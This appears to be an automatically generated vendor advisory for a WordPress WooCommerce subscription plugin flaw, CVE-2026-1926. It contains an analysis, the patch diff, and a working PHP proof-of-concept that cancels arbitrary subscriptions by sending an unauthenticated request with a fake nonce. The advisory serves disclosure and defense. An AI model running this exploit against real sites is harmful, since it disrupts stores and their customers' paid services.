Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1926: Subscriptions for WooCommerce <= 1.9.2 – Missing Authorization to Unauthenticated Arbitrary Subscription Cancellation (subscriptions-for-woocommerce)

CVE ID CVE-2026-1926
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.9.2
Patched Version 1.9.3
Disclosed March 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1926:
The vulnerability originates from the `wps_sfw_admin_cancel_susbcription()` function in the Subscriptions for WooCommerce plugin. This function was registered to the `init` action hook without proper authentication or authorization checks. The function’s conditional check in versions <=1.9.2 only verified the presence and non-emptiness of the `_wpnonce` parameter via `isset()` and `!empty()`, but never validated the nonce with `wp_verify_nonce()`. This allowed unauthenticated attackers to send crafted GET requests to the site's root URL with the `wps_subscription_id` parameter containing any active subscription ID and an arbitrary nonce value. The function would then process the cancellation request. The attack vector requires no authentication and uses the site's frontend or backend root URL as the endpoint. The patch in version 1.9.3 addresses this by moving the hook registration from `init` to `admin_init`, adding a capability check with `current_user_can('manage_woocommerce')`, and implementing proper nonce verification using `wp_verify_nonce()` with the correct nonce parameter name `wps_sfw_cancel_nonce`. The same fix was applied to the related `wps_sfw_admin_reactivate_onhold_susbcription()` function. Successful exploitation allows attackers to cancel any active WooCommerce subscription, disrupting business operations and customer access to subscription services.

Differential between vulnerable and patched code

Code Diff
--- a/subscriptions-for-woocommerce/admin/class-subscriptions-for-woocommerce-admin.php
+++ b/subscriptions-for-woocommerce/admin/class-subscriptions-for-woocommerce-admin.php
@@ -830,7 +830,8 @@
 	 */
 	public function wps_sfw_admin_cancel_susbcription() {

-		if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {
+		if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['wps_sfw_cancel_nonce'] ) ), $_GET['wps_subscription_id'] . $_GET['wps_subscription_status_admin'] )  && current_user_can( 'manage_woocommerce' ) ) {
+
 			$wps_status   = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) );
 			$wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );
 			if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {
@@ -1822,7 +1823,7 @@
 	 */
 	public function wps_sfw_admin_reactivate_onhold_susbcription() {

-		if ( isset( $_GET['wps_subscription_status_admin_reactivate'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {
+		if ( isset( $_GET['wps_subscription_status_admin_reactivate'] ) && isset( $_GET['wps_subscription_id'] ) &&  wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['wps_sfw_pause_nonce'] ) ), $_GET['wps_subscription_id'] . $_GET['wps_subscription_status_admin_reactivate']  ) && current_user_can( 'manage_woocommerce' ) ) {
 			$wps_status   = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin_reactivate'] ) );
 			$wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );
 			if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {
--- a/subscriptions-for-woocommerce/admin/partials/class-subscriptions-for-woocommerce-admin-subscription-list.php
+++ b/subscriptions-for-woocommerce/admin/partials/class-subscriptions-for-woocommerce-admin-subscription-list.php
@@ -77,9 +77,12 @@
 			array(
 				'wps_subscription_id'               => $subscription_id,
 				'wps_subscription_status_admin'     => $status,
+				'wps_sfw_cancel_nonce' => wp_create_nonce( $subscription_id . $status ),
+
 			)
 		);
 		$wps_link = wp_nonce_url( $wps_link, $subscription_id . $status );
+
 		$actions = array(
 			'wps_sfw_cancel' => '<a href="' . $wps_link . '">' . __( 'Cancel', 'subscriptions-for-woocommerce' ) . '</a>',
 		);
@@ -98,6 +101,7 @@
 			array(
 				'wps_subscription_id'               => $subscription_id,
 				'wps_subscription_status_admin_reactivate'     => $status,
+				'wps_sfw_pause_nonce' => wp_create_nonce( $subscription_id . $status ),
 			)
 		);

--- a/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce-scheduler.php
+++ b/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce-scheduler.php
@@ -871,7 +871,7 @@
 							$virtual_order = false;
 							foreach ( $wps_new_order->get_items() as $item ) {
 								$product = $item->get_product();
-								if ( $product->is_virtual() || $product->is_downloadable() ) {
+								if ( $product && ( $product->is_virtual() || $product->is_downloadable() ) ) {
 									if ( 'mwb_booking' === $product->get_type() ) {
 										$virtual_order = false;
 										break;
--- a/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce.php
+++ b/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce.php
@@ -80,7 +80,7 @@
 			$this->version = SUBSCRIPTIONS_FOR_WOOCOMMERCE_VERSION;
 		} else {

-			$this->version = '1.9.2';
+			$this->version = '1.9.3';
 		}

 		$this->plugin_name = 'subscriptions-for-woocommerce';
@@ -245,8 +245,8 @@

 			$this->loader->add_action( 'woocommerce_process_product_meta', $sfw_plugin_admin, 'wps_sfw_save_custom_product_fields_data_for_subscription', 10, 2 );

-			$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );
-			$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );
+			$this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );
+			$this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );

 			// WPLM Translation.
 			$this->loader->add_filter( 'wcml_js_lock_fields_ids', $sfw_plugin_admin, 'wps_sfw_add_lock_custom_fields_ids' );
--- a/subscriptions-for-woocommerce/includes/subscriptions-for-woocommerce-common-function.php
+++ b/subscriptions-for-woocommerce/includes/subscriptions-for-woocommerce-common-function.php
@@ -1016,7 +1016,7 @@

 		foreach ( $order->get_items() as $item_id => $item ) {
 			$attached_products = wc_get_order_item_meta( $item_id, 'wps_sfw_attached_products', true );
-
+			// print_r($attached_products);die('gghfgfgf');
 			if ( ! empty( $attached_products ) ) {
 				foreach ( $attached_products as $attached_product ) {
 					$product_id = $attached_product['product_id'];
@@ -1024,7 +1024,13 @@

 					// Add attached product as a new order item with WooCommerce functions.
 					$attached_item = new WC_Order_Item_Product();
-					$attached_item->set_product_id( $product_id );
+					if ( $product && $product->is_type( 'variation' ) ) {
+						// If it's a variation, set the variation ID
+						$attached_item->set_variation_id( $product_id );
+					} else {
+						// If it's a simple product, set the simple product ID
+						$attached_item->set_product_id( $product_id );
+					}
 					$attached_item->set_name( $product->get_name() );
 					$attached_item->set_quantity( $attached_product['quantity'] );
 					$attached_item->set_subtotal( 0 );
--- a/subscriptions-for-woocommerce/public/class-subscriptions-for-woocommerce-public.php
+++ b/subscriptions-for-woocommerce/public/class-subscriptions-for-woocommerce-public.php
@@ -2578,6 +2578,7 @@
 						'order_item_type' => 'line_item', // product.
 					)
 				);
+				// print_r($items_value['product_id']);echo"<br>---------dfdffsdfsdfsdfsdfsd---------";
 				if ( $order_item_id ) {
 					// Provide its meta information.
 					wc_add_order_item_meta( $order_item_id, '_qty', $items_value['qty'], true ); // Quantity.
--- a/subscriptions-for-woocommerce/subscriptions-for-woocommerce.php
+++ b/subscriptions-for-woocommerce/subscriptions-for-woocommerce.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Subscriptions For WooCommerce
  * Plugin URI:        https://wordpress.org/plugins/subscriptions-for-woocommerce/
  * Description:       <code><strong>Subscriptions for WooCommerce</strong></code> allow collecting repeated payments through subscriptions orders on the eCommerce store for both admin and users. <a target="_blank" href="https://wpswings.com/woocommerce-plugins/?utm_source=wpswings-subs-shop&utm_medium=subs-org-backend&utm_campaign=shop-page">Elevate your e-commerce store by exploring more on WP Swings</a>
- * Version:           1.9.2
+ * Version:           1.9.3
  * Author:            WP Swings
  * Author URI:        https://wpswings.com/?utm_source=wpswings-subs-official&utm_medium=subs-org-backend&utm_campaign=official
  * Text Domain:       subscriptions-for-woocommerce
@@ -23,9 +23,9 @@
  * Requires Plugins:  woocommerce
  *
  * Requires at least:        6.7.0
- * Tested up to:             6.9
+ * Tested up to:             6.9.1
  * WC requires at least:     6.5.0
- * WC tested up to:          10.4.3
+ * WC tested up to:          10.5.2
  *
  * License:           GNU General Public License v3.0
  * License URI:       http://www.gnu.org/licenses/gpl-3.0.html
@@ -179,7 +179,7 @@
 	 */
 	function define_subscriptions_for_woocommerce_constants() {

-		subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_VERSION', '1.9.2' );
+		subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_VERSION', '1.9.3' );
 		subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_DIR_PATH', plugin_dir_path( __FILE__ ) );
 		subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_DIR_URL', plugin_dir_url( __FILE__ ) );
 		subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_SERVER_URL', 'https://wpswings.com' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1926 - Subscriptions for WooCommerce <= 1.9.2 - Missing Authorization to Unauthenticated Arbitrary Subscription Cancellation
<?php
/**
 * Proof of Concept for CVE-2026-1926
 * Unauthenticated Arbitrary Subscription Cancellation in Subscriptions for WooCommerce <= 1.9.2
 * 
 * Usage: php poc.php --url=https://target.site --subscription-id=123
 * 
 * The exploit sends a GET request to the target site with the required parameters.
 * The vulnerability exists because the plugin only checks if the nonce parameter exists
 * and is not empty, but never validates it with wp_verify_nonce().
 * Any non-empty value for _wpnonce will pass the check.
 */

$target_url = 'https://target.site'; // Change this to the target WordPress site URL
$subscription_id = 123; // Change this to the target subscription ID

// Build the exploit URL with required parameters
$exploit_url = $target_url . '?' . http_build_query([
    'wps_subscription_status_admin' => 'cancel',
    'wps_subscription_id' => $subscription_id,
    '_wpnonce' => 'arbitrary_nonce_value' // Any non-empty value works
]);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge CVE Research/1.0');

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    echo "[+] Request sent successfully. Check if subscription $subscription_id was cancelled.n";
    echo "[+] Note: The plugin may redirect or return a blank page on success.n";
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School